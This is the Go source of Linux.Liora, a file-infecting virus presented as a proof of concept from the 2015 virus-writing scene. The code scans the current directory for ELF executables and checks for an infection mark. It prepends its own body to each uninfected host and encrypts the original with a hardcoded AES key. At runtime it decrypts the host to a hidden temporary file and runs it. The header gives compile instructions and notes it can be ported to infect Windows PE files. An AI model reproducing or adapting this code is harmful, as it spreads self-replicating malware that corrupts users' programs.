/*
* Linux.Liora - This is a POC ELF prepender written in Go by TMZ (2015).
* It is probably the first binary infector ever written in this language, that's cool.
* The above affirmation is based on SPTH LIP page: http://spth.virii.lu/LIP.html
*
* Linux.Liora (May 2015) - Simple binary infector in GoLang (prepender).
* This version encrypts the host code with AES and decrypts it at runtime.
* It's almost a direct port from my Vala infector Linux.Zariche.B.
*
* Compile with: go build -i liora.go (where go >= 1.4.2)
* It has no external dependencies so it should compile under most systems (x86 and x86_64).
* It's also possible to easly adapt it to be a PE infector and compile under Windows.
*
* Use at your own risk, I'm not responsible for any damages that this may cause.
*
* A big shout for those who keeps the scene alive: herm1t, alcopaul, hh86, boojum, R3s1stanc3 and many others :)
*
* Feel free to email me: tmz@null.net || You can also find me at http://vxheaven.org/ and on Twitter @TMZvx
* 
* http://vx.thomazi.me
*/

package main

import (
    "bufio"
    "fmt"
    "io"
    "io/ioutil"
    "os"
	"os/exec"
	"strings"
	"crypto/aes"
   	"crypto/cipher"
	"math/rand"
	"time"	
)

func check(e error) {
	// Reading files requires checking most calls for errors.
	// This helper will streamline our error checks below.
    if e != nil {
        panic(e)
    }
}

func CheckELF(file string) bool {
	
	f, err := os.Open(file)
    check(err)
	bytes := make([]byte, 4) //read the magic number
    f.Read(bytes)
	f.Close()
	
	//check if is an ELF
	if strings.Contains(string(bytes), "ELF"){
		return true 
	} else {
		return false
	}

}

func CheckInfected(file string) bool {

	_mark := "=TMZ=" //infection mark
 	fi, err := os.Open(file)
	check(err)
	buf := make([]byte, 5)
	
    for {
        // read a chunk of 5 bytes
		_, err := fi.Read(buf)
        if err != nil {
            if err == io.EOF {
                break //exits when we reach EOF
            }
            fmt.Println(err)
        }
		
		if string(buf) == _mark { //if chunk = mark
			fi.Close()	
			return true //file is already infected!
			break
		}
		
	}	
	fi.Close()
	return false //not infected
	
}

func Infect(file string) {

	dat, err := ioutil.ReadFile(file) //read host
	check(err)	
	vir, err := ioutil.ReadFile(os.Args[0]) //read virus
	check(err)
	
	encDat := Encrypt(dat) //encrypt host
	
	f, err := os.OpenFile(file, os.O_RDWR , 0666) //open host
    check(err)
	
  	w := bufio.NewWriter(f)
	w.Write(vir) //write virus
	w.Write(encDat) //write encypted host
    w.Flush() //make sure we are all set
	f.Close()
	
}
   
func RunHost() {
	
	hostbytes := "." + Rnd(8) //generate hidden random name
	
	h, err := os.Create(hostbytes) //create tmp with above name
	check(err)
	
	infected_data, err := ioutil.ReadFile(os.Args[0]) //Read myself
    check(err)
	allSZ := len(infected_data) //get file full size
	hostSZ := allSZ - 2664448 //calculate host size
	
	f, err := os.OpenFile(os.Args[0], os.O_RDWR, 0666) //open host
    check(err)
		
	f.Seek(2664448, os.SEEK_SET) //go to host start
	
	hostBuf := make([]byte, hostSZ)
	f.Read(hostBuf) //read it

	plainHost := Decrypt(hostBuf) //decrypt host

	w := bufio.NewWriter(h)
	w.Write(plainHost) //write plain host to tmp file
    w.Flush() //make sure we are all set
	h.Close()
	f.Close()
	
	os.Chmod(hostbytes, 0755) //give it proper permissions
	cmd := exec.Command(hostbytes) 
	cmd.Start() //execute it
}
 
func Encrypt(toEnc []byte) []byte {
	
	key := "SUPER_SECRET_KEY" // 16 bytes!
    block,err := aes.NewCipher([]byte(key))
	check(err)
	
	// 16 bytes for AES-128, 24 bytes for AES-192, 32 bytes for AES-256
    ciphertext := []byte("ASUPER_SECRET_IV") 
    iv := ciphertext[:aes.BlockSize] // const BlockSize = 16
	
	encrypter := cipher.NewCFBEncrypter(block, iv)

    encrypted := make([]byte, len(toEnc))
    encrypter.XORKeyStream(encrypted, toEnc)

    //fmt.Printf("%s encrypted to %v\n", toEnc, encrypted)
	return encrypted
	
}

func Decrypt(toDec []byte) []byte {

	key := "SUPER_SECRET_KEY" // 16 bytes
    block,err := aes.NewCipher([]byte(key))
	check(err)
	
	// 16 bytes for AES-128, 24 bytes for AES-192, 32 bytes for AES-256
    ciphertext := []byte("ASUPER_SECRET_IV") 
    iv := ciphertext[:aes.BlockSize] // const BlockSize = 16
	
	decrypter := cipher.NewCFBDecrypter(block, iv) // simple

    decrypted := make([]byte, len(toDec))
    decrypter.XORKeyStream(decrypted, toDec)
   
	return decrypted
}

func Rnd(n int) string {
	
	rand.Seed(time.Now().UTC().UnixNano())
	var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
    b := make([]rune, n)
    for i := range b {
        b[i] = letters[rand.Intn(len(letters))]
    }
    return string(b)

}

func GetSz(file string) int64 {

	myHnd, err := os.Open(os.Args[0])
	check(err)
	defer myHnd.Close()
	myStat, err := myHnd.Stat()
	check(err)
	mySZ := myStat.Size()
	myHnd.Close()
	return mySZ
}

func main() {

	files, _ := ioutil.ReadDir(".")
    for _, f := range files { 
			pwd, err := os.Getwd()
			check(err)
			fPath := pwd + "\\" + f.Name()
			
			isELF := CheckELF(fPath)
			if isELF == true  { 
				isInfected := CheckInfected(fPath)
				if isInfected == false {
					Infect(fPath)
				}
			} 
    }
		
	if GetSz(os.Args[0]) > 2664448 {
		RunHost()
	} else {
		os.Exit(0)
	}
}